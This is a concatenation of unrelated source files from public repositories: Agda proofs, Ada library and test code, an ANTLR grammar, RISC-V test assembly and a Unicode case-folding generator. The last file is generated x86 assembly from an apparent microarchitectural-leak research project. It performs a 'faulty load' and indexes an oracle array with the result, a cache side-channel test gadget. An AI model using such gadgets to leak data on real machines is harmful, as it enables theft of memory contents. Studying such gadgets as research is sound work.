...| ff rewrite (sym pr1) = refl
splice-concat2{inj₂ x :: xs}{l2}{target}{n = 0}{slice} pr1 pr2 rewrite (sym pr1) = refl
splice-concat2{x :: xs}{l2}{target}{[]}{suc n} pr1 pr2 with pr1
...| ()
splice-concat2{x :: xs}{l2}{target}{f :: fs}{suc n}{slice} pr1 pr2 with =𝕃-from-≡ _=form⊎char_ form⊎char-drop pr1
...| s1 rewrite splice-concat2{xs}{l2}{target}{fs}{n}{slice} (≡𝕃-from-={l1 = splice n xs slice target}{fs} _=form⊎char_ form⊎char-rise (&&-snd{x =form⊎char f} s1)) pr2 | form⊎char-rise x f (&&-fst{x =form⊎char f} s1) = refl
length+ : ∀{ℓ}{A : Set ℓ}(l1 l2 : 𝕃 A) → length (l1 ++ l2) ≡ length l1 + length l2
length+ [] l2 = refl
length+ (x :: xs) l2 rewrite length+ xs l2 = refl
<-h1 : ∀{x y a : ℕ} → x < y ≡ tt → x + a < y + a ≡ tt
<-h1{x}{y}{0} p rewrite +0 x | +0 y = p
<-h1{x}{y}{suc n} p rewrite +suc y n | +suc x n = <-h1{x}{y}{n} p
<-h2 : ∀{a x y : ℕ} → a < x ≡ tt → a < x + y ≡ tt
<-h2{a}{x}{0} p rewrite +0 x = p
<-h2{a}{x}{suc y} p rewrite +suc x y with <-h2{a}{x}{y} p | <-suc (x + y)
...| pr1 | pr2 = <-trans{a}{x + y}{suc (x + y)} pr1 pr2
length𝕃inj₂ : ∀{ℓ ℓ'}{A : Set ℓ}{B : Set ℓ'} → (l : 𝕃 A) → length (𝕃inj₂{B = B} l) ≡ length l
length𝕃inj₂{B = B} (x :: xs) rewrite length𝕃inj₂{B = B} xs = refl
length𝕃inj₂ [] = refl
𝕃inj₂++ : ∀{ℓ ℓ'}{A : Set ℓ}{B : Set ℓ'} → (l1 l2 : 𝕃 A) → 𝕃inj₂{B = B} (l1 ++ l2) ≡ 𝕃inj₂ l1 ++ 𝕃inj₂ l2
𝕃inj₂++ [] l2 = refl
𝕃inj₂++{B = B} (x :: xs) l2 rewrite 𝕃inj₂++{B = B} xs l2 = refl
infixr 10 _deriv++_
_deriv++_ : {l2 l4 : 𝕃 char}{l1 l3 : 𝕃 (form ⊎ char)}{n : ℕ}{gr : grammar{n}} → derivation{g = gr} l1 l2 → derivation{g = gr} l3 l4 → derivation{g = gr} (l1 ++ l3) (l2 ++ l4)
_deriv++_{l2}{l4} end end rewrite sym (𝕃inj₂++{B = form} l2 l4) = end
_deriv++_{l2}{l4}{l1}{l3} f (step{ss1' = ss1'}{s = s}{ss} a b pr1 pr2 pr3 pr4 next) with <-h1{a}{length l3}{length l1} pr3
...| pr5 rewrite +comm (length l3) (length l1) | (sym (length+ l1 l3)) = step{ss1 = l1 ++ l3}{l1 ++ ss1'}{l2 ++ l4} (a + (length l1)) b pr1 pr2 pr5 (splice-concat{l3}{l1} pr4) (_deriv++_ f next)
_deriv++_{l2}{l4}{l1} (step{ss1' = ss1'}{s = s}{ss} a b pr1 pr2 pr3 pr4 next) end with <-h2{a}{length l1}{length (𝕃inj₂{B = form} l4)} pr3
...| pr5 rewrite sym (length+ l1 (𝕃inj₂ l4)) = step{ss1 = l1 ++ 𝕃inj₂ l4}{ss1' ++ 𝕃inj₂ l4}{l2 ++ l4} a b pr1 pr2 pr5 (splice-concat2{l1}{𝕃inj₂ l4} pr4 pr3) (_deriv++_ next end)
|
UNIT_TESTS/test.ads | io7m/coreland-openal-ada | 1 | 9148 | <filename>UNIT_TESTS/test.ads
private with Ada.Strings.Unbounded;
private with Ada.Text_IO;
package Test is
type Test_t is range 1 .. 1_000_000;
type Context_t is limited private;
type Result_t is (Not_Executed, Pass, Fail, Unsupported);
subtype Valid_Result_t is Result_t range Pass .. Unsupported;
procedure Initialize
(Test_Context : out Context_t;
Program : in String;
Test_DB : in String;
Test_Results : in String);
procedure Satisfy
(Test_Context : in Context_t;
Test : in Test_t;
Result : in Valid_Result_t;
Statement : in String := "");
procedure Check
(Test_Context : in Context_t;
Test : in Test_t;
Condition : in Boolean;
Statement : in String := "");
private
package UB_Strings renames Ada.Strings.Unbounded;
type Context_t is record
Test_DB : UB_Strings.Unbounded_String;
Test_Results : UB_Strings.Unbounded_String;
Program : UB_Strings.Unbounded_String;
Output_File : Ada.Text_IO.File_Type;
Error_File : Ada.Text_IO.File_Type;
end record;
end Test;
|
src/net/moonlightflower/wc3libs/misc/antlr/grammar/FDF.g4 | WaterKnight/wc3libs | 0 | 2771 | // Define a grammar called FDF
grammar FDF;
options {
language = Java;
}
@header {
package net.moonlightflower.wc3libs.misc.antlr.out.grammar;
}
CURLY_L : '{' ;
CURLY_R : '}' ;
COMMA : ',' ;
WS : (' ' | '\t' | '\r' | '\n') ;
ID : ID_START (ID_TAIL)* ;
fragment ID_START : [A-Za-z] ;
fragment ID_TAIL : [A-Z] | [a-z] | [0-9] | '_' ;
STRING_LITERAL : '"' (~('"' | '\\' | '\r' | '\n') | '\\' ('"' | '\\'))* '"';
root : (WS | stringList)* ;
stringList : 'StringList' (WS)* CURLY_L (WS)* stringListContent (WS)* CURLY_R ;
stringListContent : (stringAssign (WS)*) (COMMA (WS)* stringAssign (WS)*)* COMMA? ;
stringAssign : id=ID (WS)+ val=STRING_LITERAL ;
//STRING_ASSIGN : STRING_LITERAL (WS)+ STRING_LITERAL ;
//STRING_LITERAL : '"' (~('"' | '\\' | '\r' | '\n') | '\\' ('"' | '\\''))* '"'; |
test/Fail/Issue1271b.agda | cruhland/agda | 1,989 | 16657 | -- Andreas, 2014-09-07
open import Common.Equality
data ⊥ : Set where
record ⊤ : Set where
-- Agda allows us to prove that A ≠ (A → B)
test : {A B : Set} → A ≡ (A → B) → ⊥
test ()
-- Agda allows us to prove that A ≠ (B → A)
test' : {A B : Set} → A ≡ (B → A) → ⊥
test' ()
-- But ⊤ is isomorphic to ⊤ → ⊤, which under univalence
-- isomorphism-as-equality contradicts both test and test'.
test'' : (⊤ ≡ (⊤ → ⊤)) → ⊥
test'' = test'
there : ⊤ → (⊤ → ⊤)
there _ _ = _
back : (⊤ → ⊤) → ⊤
back _ = _
|
source/textio/a-tienio.adb | ytomino/drake | 33 | 15704 | with Ada.Exceptions.Finally;
with Ada.Text_IO.Formatting;
with System.Runtime_Context;
package body Ada.Text_IO.Enumeration_IO is
procedure Put_To_Field (
To : out String;
Last : out Natural;
Item : Enum;
Set : Type_Set);
procedure Put_To_Field (
To : out String;
Last : out Natural;
Item : Enum;
Set : Type_Set)
is
Image : String := Enum'Image (Item);
begin
if Image (Image'First) /= ''' then
case Set is
when Upper_Case =>
null;
when Lower_Case =>
for I in Image'Range loop
if Image (I) in 'A' .. 'Z' then
Image (I) := Character'Val (
Character'Pos (Image (I)) + 16#20#);
end if;
end loop;
end case;
end if;
Last := To'First + Image'Length - 1;
To (To'First .. Last) := Image;
end Put_To_Field;
procedure Get_From_Field (
From : String;
Item : out Enum);
procedure Get_From_Field (
From : String;
Item : out Enum)
is
procedure Finally (
TLS : in out System.Runtime_Context.Task_Local_Storage);
procedure Finally (
TLS : in out System.Runtime_Context.Task_Local_Storage) is
begin
TLS.No_Discrete_Value_Failure_Propagation := False;
end Finally;
package Holder is
new Exceptions.Finally.Scoped_Holder (
System.Runtime_Context.Task_Local_Storage,
Finally);
TLS : constant
not null System.Runtime_Context.Task_Local_Storage_Access :=
System.Runtime_Context.Get_Task_Local_Storage;
B : Enum'Base;
begin
Holder.Assign (TLS.all);
TLS.No_Discrete_Value_Failure_Propagation := True;
TLS.Discrete_Value_Failure := False;
-- dispatching
B := Enum'Base'Value (From);
-- checking
if TLS.Discrete_Value_Failure or else B not in Enum then
raise Data_Error;
end if;
Item := B;
end Get_From_Field;
-- implementation
procedure Get (
File : File_Type;
Item : out Enum)
is
S : constant String :=
Formatting.Get_Enum_Literal (File); -- checking the predicate
begin
Get_From_Field (S, Item);
end Get;
procedure Get (
Item : out Enum) is
begin
Get (Current_Input.all, Item);
end Get;
procedure Get (
File : not null File_Access;
Item : out Enum) is
begin
Get (File.all, Item);
end Get;
procedure Put (
File : File_Type;
Item : Enum;
Width : Field := Default_Width;
Set : Type_Set := Default_Setting)
is
S : String (1 .. Enum'Width);
Last : Natural;
begin
Put_To_Field (S, Last, Item, Set);
Formatting.Head (File, S (1 .. Last), Width); -- checking the predicate
end Put;
procedure Put (
Item : Enum;
Width : Field := Default_Width;
Set : Type_Set := Default_Setting) is
begin
Put (Current_Output.all, Item, Width, Set);
end Put;
procedure Put (
File : not null File_Access;
Item : Enum;
Width : Field := Default_Width;
Set : Type_Set := Default_Setting) is
begin
Put (File.all, Item, Width, Set);
end Put;
procedure Get (
From : String;
Item : out Enum;
Last : out Positive)
is
First : Positive;
begin
Formatting.Get_Head (From, First, Last);
Get_From_Field (From (First .. Last), Item);
end Get;
procedure Put (
To : out String;
Item : Enum;
Set : Type_Set := Default_Setting)
is
S : String (1 .. Enum'Width);
Last : Natural;
begin
Put_To_Field (S, Last, Item, Set);
Formatting.Head (To, S (1 .. Last));
end Put;
end Ada.Text_IO.Enumeration_IO;
|
source/numerics/a-nuds21.ads | ytomino/drake | 33 | 7622 | pragma License (Unrestricted); -- BSD 3-Clause
-- translated unit from dSFMT (dSFMT-params216091.h)
with Ada.Numerics.dSFMT;
package Ada.Numerics.dSFMT_216091 is
new dSFMT (
MEXP => 216091,
POS1 => 1890,
SL1 => 23,
MSK1 => 16#000bf7df7fefcfff#,
MSK2 => 16#000e7ffffef737ff#,
FIX1 => 16#d7f95a04764c27d7#,
FIX2 => 16#6a483861810bebc2#,
PCV1 => 16#3af0a8f3d5600000#,
PCV2 => 16#0000000000000001#);
-- The largest periods.
pragma Preelaborate (Ada.Numerics.dSFMT_216091);
|
test/utest_saved.asm | Fabian-Schneider01/Virtual-Piano | 1 | 242830 | <reponame>Fabian-Schneider01/Virtual-Piano<gh_stars>1-10
#automatically generated code by pressing save button
#values will be compared in utest_tool to check wether buttons create the correct pitch
#checked if values of duration, volume and instrument are in range
#!this is not the test itself! will be called by utest_tool.asm!
.data
melody:
.word 60 62 64 65 67 69 71 70 68 66 63 61
.text
initialize:
li a7, 33
li a1, 161
li a2, 48
li a3, 119
la a4, melody
li t0, 0
li t1, 44
ret
main:
bge t1, t0, playMelody
j exit
playMelody:
lw a0, 0(a4)
addi t0, t0, 4
addi a4, a4, 4
ecall
j main
exit:
addi zero, zero, 0
|
unicode-ucd-generate_case_folding-simple.adb | annexi-strayline/ASAP-Unicode | 1 | 27143 | <filename>unicode-ucd-generate_case_folding-simple.adb
------------------------------------------------------------------------------
-- --
-- Unicode Utilities --
-- --
-- Unicode Character Database (UCD) Facilities --
-- --
-- ------------------------------------------------------------------------ --
-- --
-- Copyright (C) 2019, ANNEXI-STRAYLINE Trans-Human Ltd. --
-- All rights reserved. --
-- --
-- Original Contributors: --
-- * <NAME> (ANNEXI-STRAYLINE) --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- --
-- * Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A --
-- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Ada.IO_Exceptions;
with Ada.Unchecked_Deallocation;
with Ada.Characters.Latin_1;
with Ada.Streams.Stream_IO;
with Hex;
with Hex.Unsigned_8;
with Hex.Unsigned_24;
procedure Unicode.UCD.Generate_Case_Folding.Simple
(CaseFolding_Path: in String := "CaseFolding.txt";
Body_Path : in String := "aura-unicode-case_folding-simple.adb")
is
package SIO renames Ada.Streams.Stream_IO;
subtype Set_Case is Hex.Set_Case;
use all type Set_Case;
-- Codepoint Value (0 - 16#10FFFF#, (up to FFFFFF is fine also in this
-- implementation)
use type Hex.Unsigned_24.Unsigned_24;
subtype Codepoint_Value is Hex.Unsigned_24.Unsigned_24;
procedure Encode_Codepoint (Value : in Codepoint_Value;
Buffer : out String;
Use_Case: in Set_Case := Upper_Case)
renames Hex.Unsigned_24.Encode;
function Decode_Codepoint (S: in String) return Codepoint_Value
renames Hex.Unsigned_24.Decode;
-- Hash Key
use type Hex.Unsigned_8.Unsigned_8;
subtype Key_Hash is Hex.Unsigned_8.Unsigned_8;
procedure Encode_Hash (Value : in Key_Hash;
Buffer : out String;
Use_Case: in Set_Case := Upper_Case)
renames Hex.Unsigned_8.Encode;
-- Reference Hash Table ----------------------------------------------------
type Bucket_Item;
type Bucket_Item_Access is access Bucket_Item;
type Codepoint_Map is
record
From: Codepoint_Value;
To : Codepoint_Value;
end record;
type Bucket_Item is
record
Map : Codepoint_Map;
Next: Bucket_Item_Access := null;
end record;
procedure Free is new Ada.Unchecked_Deallocation
(Object => Bucket_Item,
Name => Bucket_Item_Access);
type Bucket is
record
First, Last: Bucket_Item_Access := null;
end record;
type Hash_Table is array (Key_Hash) of Bucket;
----------------------
-- Deallocate_Table --
----------------------
procedure Deallocate_Table (Table: in out Hash_Table) is
I,N: Bucket_Item_Access;
begin
for B of Table loop
I := B.First;
while I /= null loop
N := I.Next;
Free (I);
I := N;
end loop;
B.First := null;
B.Last := null;
end loop;
end Deallocate_Table;
----------
-- Hash --
----------
-- Simple case folding is spread fairly randomly amongst 1,411 codepoints.
-- We need a hash to distribute this as evenly as possible amongst 16
-- buckets
function Hash (Codepoint: Codepoint_Value) return Key_Hash
with Inline is
C: Codepoint_Value := Codepoint;
begin
return K: Key_Hash := 0 do
for I in 1 .. 3 loop
K := K xor Key_Hash (C and 16#FF#);
C := C / 16#100#;
end loop;
end return;
end Hash;
-----------------
-- Append_Item --
-----------------
procedure Append_Item (To : in out Bucket;
Map : in Codepoint_Map)
with Inline is
New_Item: Bucket_Item_Access
:= new Bucket_Item'
(Map => Map,
Next => null);
begin
if To.First = null then
To.First := New_Item;
To.Last := New_Item;
else
To.Last.Next := New_Item;
To.Last := New_Item;
end if;
end Append_Item;
-- CaseFolding.txt Parsing -------------------------------------------------
----------------
-- Load_Table --
----------------
-- Parses the UnicodeData.txt file and loads the data into the hash table,
-- including filling in any ranges encountered
procedure Load_Table (File : in SIO.File_Type;
Table: in out Hash_Table;
Total: out Natural)
is
E: UCD_Entry;
Stream: constant SIO.Stream_Access := SIO.Stream (File);
Map: Codepoint_Map;
pragma Assertion_Policy (Check);
begin
Total := 0;
while not SIO.End_Of_File (File) loop
begin
E := Next_Entry (Stream);
exception
when Ada.IO_Exceptions.End_Error => exit;
when others => raise;
end;
pragma Assert (E.First_Codepoint = E.Last_Codepoint);
-- If this fails, the data is either bad, or Unicode changed the
-- format, either way we wouldn't handle this properly. We're
-- expecting exactly a one-to-one relationship for any mappings
-- in Simple Case Folding
-- Only load "Common" (C) and "Simple" (S) entries
if E.Property(1) in "C" | "S" then
Map := (From => Codepoint_Value
(Wide_Wide_Character'Pos (E.First_Codepoint)),
To => Decode_Codepoint (E.Property(2)));
Append_Item (To => Table(Hash (Map.From)),
Map => Map);
Total := Total + 1;
end if;
end loop;
end Load_Table;
-- Main --------------------------------------------------------------------
CaseFolding_File: SIO.File_Type;
Ada_File : SIO.File_Type;
Ada_Stream : SIO.Stream_Access;
Table: Hash_Table;
Loaded_Maps: Natural;
-- Formatting
Tab : constant String := (1 .. 3 => ' ');
New_Line_Sequence: constant String := (1 => Ada.Characters.Latin_1.LF);
Indent: Natural := 0;
procedure Put (S: in String) with Inline is
begin
String'Write (Ada_Stream, S);
end Put;
procedure Do_Indent with Inline is
begin
for I in 1 .. Indent loop
Put (Tab);
end loop;
end Do_Indent;
procedure Put_Line (S: in String) with Inline is
begin
Do_Indent;
Put (S & New_Line_Sequence);
end Put_Line;
procedure New_Line (Count: Natural := 1) with Inline is
begin
for I in 1 .. Count loop
Put (New_Line_Sequence);
end loop;
end New_Line;
begin
declare
use SIO;
begin
Open (File => CaseFolding_File,
Mode => In_File,
Name => CaseFolding_Path);
end;
Load_Table (File => CaseFolding_File,
Table => Table,
Total => Loaded_Maps);
SIO.Close (CaseFolding_File);
-- Let's get to it
SIO.Create (File => Ada_File,
Name => Body_Path);
Ada_Stream := SIO.Stream (Ada_File);
-- Some stats
Put_Line ("-- ******* "
& "THIS FILE IS AUTOMATICALLY GENERATED "
& "******* --");
Put_Line ("-- "
& " - See Unicode.UCD.Generate_Case_Folding.Simple -"
& " --");
New_Line (2);
Put_Line ("-- CaseFolding.txt: C+S maps loaded ="
& Natural'Image (Loaded_Maps));
-- OK, now lets do the actual file
Indent := 0;
New_Line (2);
Put_Line ("function Unicode.Case_Folding.Simple "
& "(C: Wide_Wide_Character)");
Put_Line (" "
& "return Wide_Wide_Character");
Put_Line ("is");
Indent := 1;
-- Types and hash function
Put_Line ("type Codepoint is mod 2**24;");
Put_Line ("type Key_Hash is mod 2**8;");
New_Line;
Put_Line ("function Hash (C: Codepoint) return Key_Hash with Inline is");
Indent := 2;
Put_Line ("T: Codepoint := C;");
Indent := 1;
Put_Line ("begin");
Indent := 2;
Put_Line ("return K: Key_Hash := 0 do");
Indent := 3;
Put_Line ("for I in 1 .. 3 loop");
Indent := 4;
Put_Line ("K := K xor Key_Hash (T and 16#FF#);");
Put_Line ("T := T / 16#100#;");
Indent := 3;
Put_Line ("end loop;");
Indent := 2;
Put_Line ("end return;");
Indent := 1;
Put_Line ("end Hash;");
-- Now we need to insert a function for each bucket with it's own
-- case statement for all the ranges in that bucket
declare
procedure Generate_Hash_Table (Table: Hash_Table; Key: Key_Hash) is
B: Bucket renames Table(Key);
Bucket_Hex : String (1 .. 2);
Codepoint_Hex: String (1 .. 6);
I: Bucket_Item_Access := B.First;
begin
Encode_Hash (Value => Key,
Buffer => Bucket_Hex);
Indent := 1;
New_Line;
Put_Line ("function Bucket_" & Bucket_Hex
& " (C: Codepoint) "
& "return Wide_Wide_Character is");
Indent := 2;
if I = null then
-- Nothing here, just an identity function
Put_Line ("(Wide_Wide_Character'Val (C))"
& " with Inline;");
return;
end if;
Put_Line ("(case C is");
Indent := 3;
while I /= null loop
Do_Indent;
Put ("when ");
Encode_Codepoint (Value => I.Map.From,
Buffer => Codepoint_Hex);
Put ("16#" & Codepoint_Hex & "# ");
Encode_Codepoint (Value => I.Map.To,
Buffer => Codepoint_Hex);
Put ("=> Wide_Wide_Character'Val (16#"
& Codepoint_Hex & "#),");
New_Line;
I := I.Next;
end loop;
New_Line;
Put_Line ("when others => Wide_Wide_Character'Val (C))");
Indent := 2;
Put_Line ("with Inline;");
end Generate_Hash_Table;
begin
for K in Key_Hash loop
Generate_Hash_Table (Table, K);
end loop;
end;
-- Finally, The actual body
Indent := 0;
New_Line (2);
Put_Line ("begin");
Indent := 1;
Put_Line ("-- This shouldn't happen..");
Put_Line ("if Wide_Wide_Character'Pos(C) > 16#10FFFF# then");
Indent := 2;
Put_Line ("return C;");
Indent := 1;
Put_Line ("end if;");
New_Line (2);
Put_Line ("declare");
Indent := 2;
Put_Line ("CP: constant Codepoint ");
Indent := 3;
Put_Line (":= Codepoint (Wide_Wide_Character'Pos (C));");
Indent := 2;
Put_Line ("K: constant Key_Hash := Hash (CP);");
Indent := 1;
Put_Line ("begin");
Indent := 2;
Put_Line ("case K is");
Indent := 3;
declare
Bucket_Hex: String (1 .. 2);
begin
for K in Key_Hash loop
Encode_Hash (Value => K,
Buffer => Bucket_Hex);
Put_Line ("when 16#" & Bucket_Hex & "# => " &
"return Bucket_" & Bucket_Hex
& " (CP);");
end loop;
end;
Indent := 2;
Put_Line ("end case;");
Indent := 1;
Put_Line ("end;");
Indent := 0;
New_Line;
Put_Line ("end Unicode.Case_Folding.Simple;");
SIO.Close (Ada_File);
Deallocate_Table (Table);
exception
when others =>
Deallocate_Table (Table);
SIO.Close (CaseFolding_File);
SIO.Close (Ada_File);
raise;
end Unicode.UCD.Generate_Case_Folding.Simple;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1624.asm | ljhsiun2/medusa | 9 | 88413 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x6645, %r9
nop
nop
nop
nop
add %r13, %r13
mov $0x6162636465666768, %r12
movq %r12, (%r9)
cmp $55115, %rax
lea addresses_D_ht+0x1b795, %rsi
lea addresses_A_ht+0x8045, %rdi
nop
add %r11, %r11
mov $109, %rcx
rep movsl
cmp %rcx, %rcx
lea addresses_D_ht+0x1df59, %rcx
nop
and %r9, %r9
mov (%rcx), %r11
and $9748, %rsi
lea addresses_normal_ht+0x1c845, %rsi
lea addresses_A_ht+0x1e945, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
sub %r11, %r11
mov $80, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $49278, %rdi
lea addresses_D_ht+0xc6fd, %rsi
lea addresses_normal_ht+0x11f45, %rdi
clflush (%rdi)
nop
nop
xor $58938, %r9
mov $43, %rcx
rep movsq
nop
sub $62707, %r9
lea addresses_A_ht+0x10c5, %r9
nop
nop
nop
nop
nop
and $51036, %r13
vmovups (%r9), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r12
nop
nop
dec %rsi
lea addresses_UC_ht+0x1a57d, %rdi
nop
nop
nop
nop
nop
dec %rax
movb (%rdi), %r12b
nop
nop
add $55097, %rsi
lea addresses_D_ht+0x13145, %r9
nop
nop
lfence
movups (%r9), %xmm6
vpextrq $1, %xmm6, %r12
cmp $55645, %rsi
lea addresses_A_ht+0xf445, %rdi
nop
nop
nop
nop
nop
xor %r9, %r9
movb $0x61, (%rdi)
nop
nop
nop
nop
inc %rdi
lea addresses_UC_ht+0x6201, %rsi
lea addresses_WT_ht+0x1e545, %rdi
add %r11, %r11
mov $51, %rcx
rep movsw
xor $42290, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r9
push %rax
push %rdx
push %rsi
// Store
lea addresses_US+0x11f08, %rdx
nop
nop
add %r9, %r9
movw $0x5152, (%rdx)
nop
nop
nop
and $39067, %r15
// Store
lea addresses_PSE+0xc6d1, %r13
nop
nop
nop
nop
add $32956, %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r13)
nop
sub $10645, %r11
// Load
lea addresses_UC+0x12695, %rax
nop
and $10365, %r13
mov (%rax), %r15w
nop
and $62834, %r11
// Faulty Load
lea addresses_normal+0x17145, %r13
nop
nop
add %r9, %r9
mov (%r13), %ax
lea oracles, %rsi
and $0xff, %rax
shlq $12, %rax
mov (%rsi,%rax,1), %rax
pop %rsi
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}}
{'src': {'same': True, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 